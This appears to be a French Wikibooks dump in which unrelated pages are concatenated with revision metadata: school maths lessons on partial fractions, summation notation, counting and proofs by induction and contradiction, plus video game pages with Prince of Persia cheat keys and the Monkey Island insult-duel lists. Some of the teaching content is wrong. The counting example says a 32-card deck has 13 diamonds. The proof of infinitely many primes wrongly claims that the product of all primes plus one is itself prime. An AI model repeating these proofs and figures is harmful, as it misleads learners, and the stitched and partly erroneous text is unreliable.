les coefficients des puissances de x, nous avons <math> \begin{cases} A+B = 4 & ...(1) \\ 2B-A = -1 & ...(2) \end{cases} </math> En substituant A=4-B dans (2), <math>2B-(4-B) = -1</math> Ainsi B = 1 et A = 3. Nous plaçons : <math>\equiv \frac{1}{x+2} \times \left ( \frac{3}{x+2} + \frac{1}{x-1} \right )</math> <math>\equiv \frac{3}{(x+2)^2} + \frac{1}{(x+2)(x-1)}</math> Maintenant, nous effectuons les fractions partielle une fois de plus : <math>\frac{1}{(x+2)(x-1)} \equiv \frac{A}{x+2} + \frac{B}{x-1}</math> <math>\frac{1}{(x+2)(x-1)} \equiv \frac{A(x-1)}{(x+2)(x-1)} + \frac{B(x+2)}{(x+2)(x-1)}</math> <math>\frac{1}{(x+2)(x-1)} \equiv \frac{A(x-1)+B(x+2)}{(x+2)(x-1)}</math> <math>\frac{1}{(x+2)(x-1)} \equiv \frac{(A+B)x+(2B-A)}{(x+2)(x-1)}</math> <math>0x + 1 \equiv (A+B)x + (2B-A)</math> En coïndidant les coefficients des puissances de x, nous avons : <math> \begin{cases} A+B = 0 & ...(1) \\ 2B-A = 1 & ...(2) \end{cases} </math> Substituons A=-B dans (2), nous avons : 2B-(-B) = 1 Ainsi B=1/3 et A=-1/3 Donc finalement, <math>\frac{4x-1}{(x+2)^2(x-1)} \equiv \frac{3}{(x+2)^2} - \frac{1}{3(x+2)} + \frac{1}{3(x-1)}</math> AL Signe de sommation 3762 15244 2005-05-29T21:02:30Z Jim2k 289 /* Opérations de la notation somme */ <[[Approfondissements de lycée]] ==Notation de sommation== Nous utilisons normalement le signe "+" pour représenter une somme, mais si l'expression de la somme impliquée est compliquée et longue, cela peut être confus. Par exemple : :<math>\frac{1}{1 \times 2} + \frac{1}{2 \times 3} + \frac{1}{3 \times 4} ...... + \frac{1}{100 \times 101}</math> Ecrire ce qu'il y a dessus serait une tache fastidieuse et confuse ! Pour représenter une expression de cette sorte de façon plus compacte et agréable, on peut utiliser la notation de sommation, une lettre grecque capitale "Sigma". Sur la droite du signe sigma, on écrit l'expression de chaque terme de la somme. Au dessus et en dessous du signe sigma, on écrit la limite supérieure et inférieure de la variable. Exemple 1 : <math>\sum_{k=3}^{10} 2k+1</math><br> <math>=\ (2(3)+1)\ +\ (2(4)+1)\ +\ (2(5)+1)\ +......+\ (2(10)+1)</math> <math>=\ 7\ +\ 9\ +\ 11\ +......+\ 21</math> <blockquote style="border:2px dotted red"> Méprise : A partir de ce qu'il y a dessus, il existe une méprise commune que le nombre au dessus du signe Sigma est le nombre est le nombre de termes. Ceci est faux. Le nombre au dessus est le nombre a substituer dans le dernier terme. </blockquote> Exemple 2 : <math>\frac{1}{4}-\frac{1}{9}+\frac{1}{16}-\frac{1}{25}......-\frac{1}{9801}+\frac{1}{10000}</math><br> <math>=\frac{1}{2^2}-\frac{1}{3^2}+\frac{1}{4^2}-\frac{1}{5^2}......-\frac{1}{99^2}+\frac{1}{100^2}</math><br> <math>=\sum_{k=2}^{100} (-1)^k \frac{1}{k^2}</math> <blockquote style="border:2px dotted purple"> Astuce : Si les termes alternent entre plus et moins, nous pouvons utiliser la suite <math>(-1)^k=-1,\ 1,\ -1,\ 1...</math> </blockquote> ===Exercice=== #Utiliser la notation de sommation pour représenter l'expression dans le premier exemple. Changer ce qui suit en sommation : #<math>23\ +\ 24\ +\ 25\ +\ 26\ +......+\ 1927</math> #<math>13\ +\ 16\ +\ 19\ +\ 22\ +......+\ 301</math> # *<math>1\ -\ 2\ -\ 3\ +\ 4\ +\ 5\ -\ 6\ -\ 7\ +\ 8......+\ 400</math>(Astuce : réordonner les termes, ou obtenir plus d'un terme dans l'expression) # *<math>1000\ -\ \frac{3}{1\times(1+3+5)}\ -\ \frac{5}{(1+3)\times(1+3+5+7)}\ -\ \frac{7}{(1+3+5)\times(1+3+5+7+9)}......</math>(Astuce : Vous avez besoin d'utiliser plus d'un signe sigma) Changer la notation somme en une représentation ordinaire : #<math>\pi = 4\sum_{k=0}^{\infty} \frac{(-1)^k}{2k+1}</math> #<math>\sin x = \sum_{k=0}^{\infty} \frac{(-1)^k}{(2k+1)!}x^{2k+1}</math> (Besoin de plus d'exercice, spécialement la "lecture" de la notation sigma et le retour dans la forme ordinaire). ==Opérations de la notation somme== Bien que la plupart des règles reliées à la somme ont un sens dans le système ordinaire, dans ce nouveau système de notation somme, les choses peuvent ne pas être aussi claires que précédemment. Par conséquent, on peut résumer certaines règles reliées à la notation somme (voir si vous pouver identifier ce à quoi elles correspondent !) *<math>\sum_{i=p}^{q} A_i\pm c\ =\ \pm(q-p+1)c\ +\ \sum_{i=p}^{q} A_i</math> *<math>\sum_{i=p}^{q} A_i \pm B_i \ =\ \sum_{i=p}^{q} A_i \pm \sum_{i=p}^{q} B_i</math> *<math>\sum_{i=p}^{q} c A_i\ =\ c\sum_{i=p}^{q} A_i</math> *<math>\sum_{i=p}^{q} \left [ \sum_{j=r}^{s} A_{ij} \right ] \ =\ \sum_{j=r}^{s} \left [ \sum_{i=p}^{q} A_{ij} \right ]</math> (Note : je suggère de donner une aide visuelle sur celle-ci : en montrant que vous pouvez effectuer une sommation de séries à deux dimensions dans chaque direction) *<math>\sum_{i=p}^{q} A_i \ =\ \sum_{i=p-k}^{q-k} A_{i+k} </math>(Substitution d'index) *<math>\sum_{i=p}^{q} A_i \ =\ \sum_{i=p}^{r} A_i + \sum_{i=r+1}^{q} A_i\,</math> où <math>p \le r < q\,</math> (Décomposition) ===Exercice=== (mette quelque chose ici, svp) ==Au-delà== "L'itération est humaine; la récursion, divine." Lorsque les humains répètent la sommation, ils utilisent un concept plus avancé, le concept de produit. Et, bien sur, chacun sait que l'on utilise <math>\times</math>. Et, lorsque l'on répète le produit, nous utilisons l'exponentiation. En revenant à ce chapitre, nous avons maintenant une notation pour les sommes compliquées. Qu'est-ce qu'un produit compliqué ? En fait, il existe aussi une notation pour le produit. Nous utilisons la lettre capitale grecque "pi" pour noter le produit, le fonctionnement est essentiellement le même que pour le signe sigma excepté que les termes ne sont pas sommés mais multipliés. Exemple : <math>\prod_{h=2}^{5} 2h-3</math> ===Exercice=== 1.Il est connu que la factorielle est définie inductivement par :<br> <math>0!\ =\ 1</math><br> <math>n!\ \times\ (n+1)\ =\ (n+1)!</math><br> Maintenant, essayer de le définir par la notation produit.<br> (plus à suivre...) Solution, truc et astuce de jeu vidéo 3763 44411 2006-06-12T13:34:28Z 195.220.37.2 /* Voir aussi */ Cette page a pour but de compiler les liens vers les articles d'aides de jeu, astuces, conseils, solutions et mots de passe concernant les jeux vidéo. ==Jeux vidéo par ordre alphabétique== *[[Dungeon Keeper]] [PC] *[[Monkey Island]] [PC] *[[Prince of Persia]] [PC] ==Voir aussi== *[[Spyro Year of the Dragon PS]] [[Catégorie:Jeu vidéo|*Solution, truc et astuce de jeu vidéo]] Prince of Persia 3764 25772 2005-11-20T17:00:44Z YolanC 349 - {{Supprimer}} (depuis le temps que ça traîne...) '''''[[w:Prince of Persia|Prince of Persia]]''''' est un [[jeu vidéo]] d'action/réflexion en deux dimensions. ==Cheat Codes== Pour accèder au mode ''cheat'' du jeu il faut lancer le jeu avec la commande <tt>prince megahit</tt>, à la place de la commande <tt>prince</tt>. *K : Tue les ennemis présents à l'écran *R : Ramène au dernier endroit où le prince est mort *+ : Augmente le temps restant *– : Diminue le temps restant *Shift+L : Passe au niveau suivant *Shift+T : Rajoute de la vie *Shift+S : Potion de vie *Shift+W : Ralentit les chutes *Shift+N : montre l'écran situé en dessous *Shift+U : montre l'écran situé au dessus *Shift+H : montre l'écran situé à gauche *Shift+J : montre l'écran situé à droite *Shift+B : Affiche les sprites/animations *Shift+I : Inverse l'écran *Shift+C : Affiche les coorodonnées [[Catégorie:Jeu vidéo]] Jeu vidéo 3765 37004 2006-03-10T15:58:21Z 80.9.95.220 suppr lien rouge ; correction lien ; suppr bandeau présent depuis des lustres [[en:Computer and video games bookshelf]] [[Catégorie:Jeu vidéo|*Jeu vidéo]] Cette page a pour but de compiler les liens vers les wikilivres en rapport avec le '''jeu vidéo''': théories, nouvelles et autres documents. *[[Quelle place pour le jeu vidéo en ludothèque ?]] *[[Comment jouer aux jeux vidéo ?]] *[[Marathon]], traduction en français de cette série de jeux == Thèmes == *[[Solution, truc et astuce de jeu vidéo]] **[[Dungeon Keeper]] **[[Monkey Island]] **[[Prince of Persia]] Monkey Island, le duel au sabre 3766 25770 2005-11-20T17:00:15Z YolanC 349 - {{Supprimer}} (depuis le temps que ça traîne...) Trois des épisodes de la série de [[jeu vidéo|jeux vidéo]] ''[[Monkey Island]]'' comportent une même épreuve de '''duel au sabre''' qui est restée fameuse depuis le premier épisode. L'objectif n'est pas de trucider son adversaire d'une manière classique, avec son arme, mais de le terrasser à force d'insultes bien senties. Dans son principe, l'épreuve est en réalité un exercice de mémorisation puisque chaque insulte envoyée par l'adversaire ne possède qu'une seule et unique réponse. Le joueur ne remporte donc la rencontre que s'il réussit à se souvenir de toutes les bonnes parades. Cette épreuve, assez insipide dans son principe, n'est bien évidemment qu'un prétexte pour mettre en scène une situation saugrenue et des répliques savoureuses. Elle peut donc constituer un amusement et un spectacle en elle-même. L'épreuve du duel au sabre est bon exemple de l'effort de mise en scène accompli par certains concepteurs de jeux vidéo d'aventure. Son humour, caractéristique de la série des ''Monkey Island'', en a fait une scène « culte » de la courte histoire du jeu vidéo. == Liste des insultes == === The Secret of Monkey Island === {| border="0" align="center" style="border: 1px solid #999; background-color:#FFFFFF" |-align="center" bgcolor="#CCCCCC" ! Insulte !! Réponse |- | Tu peux encore prendre tes jambes à ton cou. || Rien à faire je tiendrai jusqu'au bout. |-bgcolor="#EFEFEF" | Sous peu je vais t'embrocher avec mon épée. || D'abord arrête de la brandir comme un plumeau. |- | Bave pas comme ça ton épée va déraper. || Je vais te la fermer une fois pour toutes. |-bgcolor="#EFEFEF" | Les gens tombent comme des mouches quand j'arrive. || Avant même de sentir ton haleine. |- | Tu peux pas te payer des pantalons plus longs. || J'ai gagné le concours des plus beaux mollets. |-bgcolor="#EFEFEF" | Ça se voit que l'alcool t'a imbibé le cerveau. || Je bois pour tolérer les gens comme toi. |- | Tu te bats comme un bœuf. || Oh car toi tu te bats comme une vache. |-bgcolor="#EFEFEF" | Ta voix n'a pas encore mué. || Excuse-moi j'ai fait un tube l'été dernier. |- | Tu portes encore des couches. || Pour être marin il faut savoir se mouiller. |-bgcolor="#EFEFEF" | Alors tu bafouilles quand tu parles aux femmes. || Les femmes se battent pour s'approcher de moi. |- | Je vais t'aider à te raser. || Laisse tomber j'ai déjà fait ma toilette. |-bgcolor="#EFEFEF" | Dis donc qu'est-ce que tu es laid. || C'est tout ce que tu trouves à me dire. |- | J'avais un chien qui était plus intelligent que toi. || Il a dû t'apprendre tout ce que tu sais. |-bgcolor="#EFEFEF" | Tu te comportes comme un mendiant. || J'essayais de me mettre à ton niveau. |- | J'ai parlé à des singes plus polis que toi. || Je vois que tu as passé du temps chez tes parents. |} === The Curse of Monkey Island === Dans ce troisième volet de la série les insultes devaient rimer avec leurs réponses ce qui aidait beaucoup à trouver la bonne répartie tout en rendant la réplique encore plus savoureuse. Malheureusement, dans la version française, toutes ne riment pas : ce sont là les aléas de la traduction. Le combat final contre le Capitaine Rotthingam est également très particulier : ce dernier n'utilise pas les mêmes insultes que les autres pirates, mais les réparties dont dispose Guybrush sont cependant les mêmes. On trouvera donc ici les insultes des pirates, leurs équivalents chez Rotthingam, et enfin la réponse adaptée. {| border="0" align="center" style="border: 1px solid #999; background-color:#FFFFFF" |-align="center" bgcolor="#CCCCCC" ! Insulte de pirate !! Insulte de Rotthingam !! Réponse |- | Aucun adversaire ne m'a jamais résisté ! || Après mon passage,les îles sont dépeuplées. || Ta mauvaise haleine a suffi à tous les étouffer. |-bgcolor="#EFEFEF" | Comment fais-tu donc pour être aussi laid ? || Tu ferais vomir un troupeau de porcelets. || Sans compter tous tes rencards au lycée ! |- | Dans toutes les Caraïbes, mes exploits sont célébrés ! || Mes compétences au sabre sont dûment attestées. || J'achète jamais en hypermarché ! |-bgcolor="#EFEFEF" | En garde, mon ami ! || Ta mère en bikini à Brimstone ! || Ça a déjà été dit et redit... |- | Je ferai la fête le jour où tu seras exterminé ! || Ton odeur offenserait l'appendice nasal d'un macchabée. || Tu devrais peut-être te mettre au décaféiné. |-bgcolor="#EFEFEF" | Je te pourchasserai jour et nuit ! || Mes proies, je les finis toujours avec un bouquet garni. || Sois beau joueur, fais pas de chichis... |- | Je vais t'embrocher comme un dindonneau rôti ! || Avec des lèvres comme ça, ta place est au zoo de Cincinnati. || Dans peu de temps, tu ne seras plus qu'une immonde bouillie ! |-bgcolor="#EFEFEF" | Je vais te mutiler, t'embrocher et te finir en fricassée ! || Qu'est-ce qui t'impressionne le plus en moi, freluquet? || Ton odeur me fait l'effet d'une bouche d'égoût mal refermée ! |- | Pour l'humanité, ta mort serait un soulagement. || Ta carcasse va bientôt connaître le goût de l'océan. || Te tuer serait faire œuvre d'assainissement. |-bgcolor="#EFEFEF" | Quand il t'a vu naître, ton père a dû se sauver en hurlant ! || Mon pauvre, tu fais honte à ta race et à tes glorieux ascendants ! || Mon père, au moins, n'était pas un truand ! |- | Que le ciel me protège ! Tu ressembles à un revenant ! || Les carottes sont cuites, fais ton testament! || Pour te conserver entier, je ne vois que le formol au piment. |-bgcolor="#EFEFEF" | Tremble, moustique, je suis la terreur des océans ! || Tu es la plus belle poule mouillée des cinq océans. || On t'avais déjà dit que t'avais la même tête que Rantanplan ? |- | Tu as appris à manier le sabre dans une boîte de nuit ? || Je n'ai jamais perdu un match de rugby ! || Ton problème, c'est que tu fais encore pipi au lit ! |-bgcolor="#EFEFEF" | Tu as autant d'allure qu'un singe en déshabillé ! || Tu as autant de sex-appeal qu'un ouistiti ! || Je ressemble tant que ça à ta petite amie ? |- | Tu préfères être enterré ou incinéré ? || Tu as le choix entre être décapité ou étripé.. || Si tu restes dans le coin, je préfère être fumigé ! |-bgcolor="#EFEFEF" | Tu restes muet devant mon sens de la répartie ! || Je vais t'envoyer paître chez les otaries. || C'est pas possible, tu te rinces la bouche à l'aïoli ! |} === Escape from Monkey Island === {| border="0" align="center" style="border: 1px solid #999; background-color:#FFFFFF" |-align="center" bgcolor="#CCCCCC" ! Insulte !! Réponse |- | Ungh... Aujourd'hui j'ai déjà trucidé douze quidams. || Grrr... Vu la taille de ton ventre je suppose qu'ils ont été mangés. |-bgcolor="#EFEFEF" | J'ai des muscles à des endroits dont tu n'as jamais entendu parler. || Dommage que tu n'en aies pas dans les bras. |- | Je vais te mettre le bras en écharpe. || Pourquoi, tu veux devenir infirmière ? |-bgcolor="#EFEFEF" | Renonce maintenant ou je t'écrase comme une punaise. || Je le ferais si ça pouvait t'épingler pour de bon. |- | On a déjà confondu mes avant-bras avec des troncs d'arbres. || Ungh... Un défoliant vendu sans ordonnance, voilà ce qu'il te faudrait. |-bgcolor="#EFEFEF" | Aaaargh... Ma grand-mère de 98 ans a des bras plus musclés que les tiens. || Ouais, mais on a tous les deux une meilleure maîtrise de notre vessie que toi. |- | Aargh... Ma force stupéfiante va briser ton cubitus en un million de morceaux. || Grrrgh ! Je suis surpris que tu saches compter jusque là ! Aargh ! |-bgcolor="#EFEFEF" | Aagh... eh, regarde par là ! || Ungh ! Oui oui je sais, c'est un singe à trois têtes. |- | Aargh... tes doigts je vais en faire de la bouille d'os ! || Aagh ! Je me disais bien que ces haricots avaient un drôle de goût. |-bgcolor="#EFEFEF" | Tes bras ne sont pas plus gros que ceux d'une puce ! || Aagh ! C'est donc pour ça que tu te grattes ? Moi j'irais voir un véto. |- | Aagh, on me dit parfois que mes poings sont des armes fatales ! || Avec ton haleine, je comprends qu'ils aient préféré Mel Gibson ! |-bgcolor="#EFEFEF" | Angh... Une seule fois j'ai rencontré plus lâche que toi. || Ungh ! Il a du t'apprendre tout ce que tu sais. Errr... |- | Ungh... Tu es la créature la plus laide que j'ai jamais rencontrée... || Ungh ! Je suis choqué que tu n'aies jamais bien regardé ta femme. |-bgcolor="#EFEFEF" | Ungh... J'ai déjà battu des pieuvres avec ces bras là ! || Ungh ! Je suis sûr que les créatures invertébrées rougissent quand elles te voient. |- | Ungh, ha... Je vois tes lèvres trembler d'une terreur extrême. || Ungh ! Ha Ha ! C'est la vigueur de ta poigne qui me fait rire. |} [[Catégorie:Jeu vidéo]] Monkey Island 3767 15249 2005-05-29T23:53:01Z Bayo 329 Monkey Island déplacé vers Monkey Island, le duel au sabre #REDIRECT [[Monkey Island, le duel au sabre]] AL Dénombrement de base 3771 15253 2005-05-31T21:05:24Z Jim2k 289 /* Sélection non-ordonnée */ [[Approfondissements de lycée]] == Dénombrement == Nous savons comment compter de manière séquentielle, 1, 2, 3, 4, 5, 6, 7, 8 ... Donc, lorsque nous demandons une question comme : :x<sub>1</sub> + x<sub>2</sub> + x<sub>3</sub> = 8 :où x<sub>n</sub> est zéro ou un nombre entier positif. Combien de solutions différentes existe-t'il ? La réponse naturelle serait d'écrire chaque solution unique et compter combien il en existe. Cette méthode marchera éventuellement mais elle est lente et fastidieuse. Existe-t'il une meilleure méthode plus efficiente ? La réponse est naturellement oui. Avant d'aller plus avant, revenons aux bases d'abord. === Sélection ordonnée === Supposons qu'il y a 20 chansons dans votre collection de Mp3. Vous demandez à votre micro de sélectionner aléatoirement 10 chansons et de les jouer dans l'ordre où elles sont sélectionnées, combien de manières y-a-t'il de sélectionner les 10 chansons ? Ce type de problèmes est appelé dénombrement de sélection ordonnée, puisque l'ordre dans lequel les choses sont sélectionnées est important. C.a.d. si une sélection est :1, 2, 3, 4, 5, 6, 7, 8, 9 et 10 alors :2, 1, 3, 4, 5, 6, 7, 8, 9 et 10 est considérée comme un sélection différente. Il y a 20 manières de choisir la première chanson puisqu'il y a 20 chansons, puis il y a 19 manières de choisir la deuxième chanson et 18 manières de choisir la troisième... et ainsi de suite. Par conséquent, le nombre total de manière peut être calculé en considérant le produit suivant : :<math>20 \times 19 \times 18 \times 17 \times 16 \times 15 \times 14 \times 13 \times 12 \times 11\,</math> ou noté de manière plus compacte : :<math>\frac {20!} {10!}</math> Ici, nous utilisons la fonction ''factorielle'', définie par <math>0! = 1</math> et <math>n! = (n-1)! \times n</math>. (En d'autres mots, <math>n! = 1 \times 2 \times 3 \times ... \times n</math>) En général, le nombre de sélections ordonnées de ''m'' articles sur ''n'' articles est : :<math>\frac{n!}{(n-m)!}</math> L'idée est que nous annulons les annulons tous, sauf les ''m'' premiers facteurs du produit ''n'' !. === Sélection non-ordonnée === Sur 15 personnes de votre classe de mathématiques, cinq ont été choisies pour représenter la classe dans une compétition de mathématiques. Combien y a-t'il de manières de choisir les cinq étudiants ? Ce problème est appelé un problème de sélection non-ordonnée, i.e. l'ordre dans lequel vous sélectionnez les étudiants n'est ''pas'' important. C.a.d. si une sélection est :Jean, Luc, Sylvie, Barbara, Jacques une autre sélection est :Luc, Jean, Sylvie, Jacques, Barbara les deux sélections sont considérées équivalentes. Il existe :<math>\frac{15!}{10!} </math> manières de choisir les 5 candidats dans une ''sélection ordonnée'', mais il existe 5! ''permutations'' des mêmes cinq candidats. (C'est à dire, 5! permutations différentes sont les mêmes combinaisons). Par conséquent, il y a :<math>\frac{15!}{10!5!}</math> manières de choisir 5 étudiants pour représenter votre classe. En général, pour ''choisir'' (sélection non-ordonnée) ''m'' candidats à partir de ''n'', il existe :<math>\frac{n!}{m!(n-m)!} = {n \choose m} </math> manières. Nous avons donné la formule pour les sélections ordonnées de ''m'' candidats à partir de ''n'', puis, nous avons divisé par ''m''! parceque chaque sélection non-ordonnée était comptée comme ''m''! sélections ordonnées. === Exemples === ''' Exemple 1''' De combien de manières différentes les lettres du mot BOOK peuvent-elles être arrangées ? ''' Solution 1''' 4! manières si les lettres sont toutes distinctes. Puisque O est répétée deux fois, il existe 2! permutations. Par conséquent, il existe 4!/2! = 12 manières. ''' Exemple 2''' Combien existe-t'il de manières de choisir 5 carreaux d'un jeu de 32 cartes ? ''' Solution 2''' Il existe 13 carreaux dans un jeu de 32 cartes. Donc, il existe <math>13 \choose 5</math> manières. :<math> {13 \choose 5} = \frac{13!}{8!5!} = \frac{13\times 12\times 11\times 10 \times 9}{120} = 1287 </math> AL Démonstrations 3772 39553 2006-04-03T19:23:48Z Albus95 1333 /* Induction mathématique ou raisonnement par récurrence */ [[Approfondissements de lycée]] :::''"C'est par la logique que nous démontrons, mais par l'intuition que nous découvrons."'' ==Introduction== Les mathématiciens ont été, durant des siècles, obsédés par les démonstrations. Ils veulent tout prouver, et par ce processus, ils ont démontré qu'ils ne pouvaient pas tout démontrer (voir [[w:Théorème d'incomplétude|ceci]]). Ce chapitre introduira les techniques de l'induction mathématique, la démontration par l'absurde et l'approche axiomatique des mathématiques. ==Induction mathématique ou raisonnement par récurrence== Le raisonnement déductif est le processus de recherche de conclusion qu'il est garanti d'obtenir. Par exemple, si nous savons que * Tous les corbeaux sont des oiseaux noirs, et * Pour chaque action, il existe une réaction égale et opposée alors nous pouvons conclure : * Cet oiseau est un corbeau, par conséquent il est noir. * Cette boule de billard bougera si je la frappe avec cette queue. L'induction est l'opposé de la déduction. Pour cela, nous observons comment les choses se comportent dans des cas particuliers et à partir de cela nous construisons des conclusions sur leur comportement dans les cas généraux. Par exemple : :<math>1 + 2 + 3 + ... + n = \frac{(n + 1)n}{2} </math> Nous savons que c'est vrai pour tous les nombres, parceque [[w:Gauss|Gauss]] nous l'a dit. Mais comment montrons-nous que c'est vrai pour tous les nombres entiers positifs ? Même si nous pouvons montrer que l'identité reste valable pour les nombres de un à milliard ou tout nombre plus grand que nous pouvons penser, nous n'avons pas encore démontré que cela est vrai pour tous les nombres entiers positifs. C'est ici que l'induction mathématique intervient, cela marche un peu comme les dominos. Si nous pouvons montrer que l'identité reste valable pour un certain nombre ''k'', et que ce fait implique que l'identité reste encore valable pour ''k + 1'', alors nous avons effectivement montré qu'elle marche pour tous les nombres entiers. '''Exemple 1''' Montrer que l'identité :<math>1 + 2 + 3 + ... + n = \frac{(n + 1)n}{2} </math> reste valable pour tous les nombres entiers positifs. '''Solution''' D'abord, nous montrons qu'elle est valable pour les entiers 1, 2 et 3 :<math>1 = 2 \times \frac{1}{2}\,</math> :<math>1 + 2 = 3 \times \frac{2}{2}\,</math> :<math>1 + 2 + 3 = 4 \times \frac{3}{2} = 6\,</math> Supposons que l'identité reste valable pour un certain nombre ''k'', alors :<math>1 + 2 + 3 + ... + k = \frac{1}{2}(k + 1)k </math> est vrai. Nous devons montrer que : :<math>1 + 2 + 3 + ... + k + (k + 1) = \frac{1}{2}(k + 2)(k + 1) </math> est vrai également. C'est à dire : :<math> \begin{matrix} 1 + 2 + 3 + ... + k & & =& \frac{1}{2}(k + 1)k\\ \\ 1 + 2 + 3 + ... + k &+ (k + 1) &=& \frac{1}{2}(k + 1)k + (k + 1)\\ \\ & & = & (k + 1)(\frac{k}{2} + 1)\\ \\ & & = & \frac{1}{2}(k + 1)(k + 2) \end{matrix} </math> qui est ce que nous devions montrer. Puisque l'identité reste valable pour 3, elle est aussi valable pour 4 et puisqu'elle est valable pour 4, elle reste valable pour 5, et 6 et 7 et ainsi de suite. Il existe deux types d'inductions mathématiques : la forte et la faible. En induction faible, vous supposez que l'identité reste valable pour une certaine valeur k, et vous la démontrez pour k+1. En induction forte, l'identité doit être vraie pour toute valeur inférieure ou égale à k, et vous la démontrez pour k+1. '''Exemple 2''' Montrer que n! > 2<sup>n</sup> pour n &ge; 4. '''Solution''' L'énoncé est vrai pour n = 4. Comme 4! > 2<sup>4</sup>, i.e. 24 > 16. Maintenant, supposons qu'il est vrai pour n = k, k &ge; 4, i.e. :k! > 2<sup>k</sup> il en découle que :(k+1)k! > (k+1)2<sup>k</sup> > 2<sup>k+1</sup> :(k+1)! > 2<sup>k+1</sup> Nous avons montré que si n = k alors, il est vrai aussi pour n = k + 1. Puisqu'il est vrai pour n = 4, il est vrai pour n = 5, 6, 7, 8 et ainsi de suite pour tous les n. '''Exemple 3''' Montrer que :<math>1^3 + 2^3 + ...+ n^3 = \frac {(n+1)^2n^2}{4} </math> '''Solution''' Supposons que cela est vrai pour n = k, i.e. :<math>1^3 + 2^3 + ...+ k^3 = \frac {(k+1)^2k^2}{4} </math> il en découle que :<math> \begin{matrix} 1^3 + 2^3 + ...+ k^3 + (k+1)^3 & = &\frac {(k+1)^2k^2}{4} + (k+1)^3\\ & = & (k+1)^2 (\frac{k^2}{4} + (k+1))\\ & = & \frac {1}{4}(k+1)^2 (k^2 + 4k + 4)\\ & = & \frac {1}{4}(k+1)^2 (k + 2)^2 \end{matrix} </math> Nous avons montré que s'il est vrai pour n = k alors il est vrai aussi pour n = k + 1. Maintenant, il est vrai pour n = 1 (évident), par conséquent, il est vrai pour tous les entiers. === Exercices === 1. Démontrer que <math>1^2 + 2^2 + ... + n^2 = \frac{ n(2n^2 + 3n +1)}{6} </math> 2. Démontrer pour n &ge; 1, :<math> (1 + \sqrt{5})^n = x_n + y_n\sqrt{5}</math> où x<sub>n</sub> et y<sub>n</sub> sont des entiers. 3. Noter que :<math>\sum_{i=1}^n[i^k - (i-1)^k] = n^k</math> Démontrer qu'il existe une formule explicite pour :<math>\sum_{i=1}^ni^m</math> pour tous les entiers ''m''. C.a.d. <math>1^3 + 2^3 + ... + n^3 = \frac{n^2(n+1)^2}{4}</math> 4. La somme de tous les angles d'un triangle est <math>180^\circ</math>; La somme de tous les angles d'un rectangle est <math>360^\circ</math>. Démontrer que la somme de tous les angles d'un polygone à ''n'' cotés, est <math>(n - 2)\cdot 180^\circ</math>. ==Démonstration par l'absurde== :''"Lorsque vous avez éliminé l'impossible, ce qu'il reste, même improbable doit être vrai." Sir Arthur Conan Doyle'' L'idée d'une démonstration par l'absurde est : # Premièrement, nous supposons que l'''opposé'' de ce que nous souhaitons démontrer est vrai. # Puis, nous montrons que les conséquences logiques de la supposition amènent à une contradiction. # Finalement, nous concluons que la supposition devait être fausse. === Irrationalité de &radic;2 === Comme exemple, nous démontrerons l'irrationalité de <math>\sqrt{2}</math>, i.e. <math>\sqrt{2}</math> n'est pas un nombre rationnel. Rappelons-nous qu'un nombre rationnel est un nombre qui peut être exprimé sous la forme p/q, où p et q sont des nombres entiers et q est différent de 0 (voir la section 'catégories de nombres' [[AL Nombres complexes|ici]]). D'abord, supposons que <math>\sqrt{2}</math> est ''rationnel'' :<br> :<math> \sqrt{2} = \frac{a}{b} </math><br> où ''a'' et ''b'' sont premiers entre eux (i.e. les deux entiers n'on pas de facteurs en commun). Si ''a'' et ''b'' ne sont pas premiers entre eux, nous enlevons tous les facteurs communs. En d'autres mots, ''a/b'' est sous la forme irréductible. Maintenant, continuons : :<math> \begin{matrix} \sqrt{2} &=& a/b \\ 2 &=& a^2/b^2 \\ 2b^2 &=& a^2 \end{matrix} </math> Nous avons maintenant trouvé que ''a<sup>2</sup>'' est un certain entier multiplié par 2. Par conséquent, ''a<sup>2</sup>'' doit être divisible par 2. Si ''a<sup>2</sup>'' est pair, alors ''a'' doit être aussi pair, pour un nombre impair au carré, un nombre impair. Maintenant que nous savons que ''a'' est pair, nous écrivons que ''a = 2c'', où ''c'' est un autre entier. :<math> \begin{matrix} 2b^2 &=& a^2 \\ 2b^2 &=& (2c)^2 \\ 2b^2 &=& 4c^2 \\ b^2 &=& 2c^2 \end{matrix} </math> Nous avons découvert que ''b<sup>2</sup>'' est aussi un entier multiplié par 2. En suivant le raisonnement précédent, ''b'' doit être un entier pair. Ici, nous avons une contradiction. Les deux nombres entiers ''a'' et ''b'' sont pair. En d'autres termes, les deux ont un facteur commun 2. Mais nous avons déjà dit que ''a/b'' est sous forme irréductible. Puisqu'une telle contradiction a été établie, nous devons conclure que notre supposition d'origine était fausse. Par conséquent, <math>\sqrt{2}</math> est irrationel. ===Infinité de nombres premiers=== Nous avons déjà présenté une démonstration de l'infinité des nombres premiers dans le chapitre [[AL Premiers|Nombres premiers]]. En voici une autre. Supposons qu'il existe un nombre fini de nombres premiers, et notons ce nombre par ''n''. Nous multiplions les ''n'' nombres premiers ensemble, nous ajoutons 1, et nous appelons le nombre qui en résulte ''x''. Maintenant, de façon claire, ''x'' est aussi un nombre premier, donc il existe ''n'' + 1 nombres premiers ! Ceci est une contradiction, donc il doit exister une infinité de nombres premiers. Il existe plusieurs manières de démontrer le même théorème. === Exercices === 1. Démontrer qu'il n'existe pas de carré parfait pour 11,111,1111,11111...... 2. Démontrer qu'il existe une infinité de nombre ''k''' tels que, 4''k'' + 3, est premier. (Astuce : considérer N = p<sub>1</sub>p<sub>2</sub>...p<sub>m</sub> + 3) == Axiomes et inférence == Nous avons, il y a longtemps, admis pour vrai le fait que zéro fois n'importe quel nombre nous donne zéro. Personne ne nous l'a démontré. Ne vous êtes vous pas émerveillé pourquoi un nombre négatif multiplié par un nombre négatif vous donne un nombre positif ? Dans cette section, nous introduirons l'idée de mathématiques axiomatiques (mathématiques avec de simples suppositions) et les conclusions (inférences) que nous pouvons tirer à partir des axiomes. Un axiome est un énoncé à propos d'un ensemble de nombres que nous supposons vrai. Considérons les nombres réels <math>\mathbb{R}\,</math> , il possède les axiomes Soient ''a'', ''b'' et ''c'' des nombres réels : Pour ''a'', ''b'', et ''c'' réels :'''A1:''' ''a''+''b'' est aussi dans ''F'' (''clotûre'') :'''A2:''' Il existe 0, tel que 0 + ''a'' = ''a'' pour tout ''a'' (existence de zéro - une ''identité'') :'''A3:''' Pour chaque ''a'', il existe ''b'' (écrit -''a''), tel que a + b = 0 (existence d'un opposé) :'''A4:''' (''a'' + ''b'') + ''c'' = ''a'' + (''b'' + ''c'') (associativité de l'addition) :'''A5:''' ''a'' + ''b'' = ''b'' + ''a'' (commutativité de l'addition) : Pour ''a'', 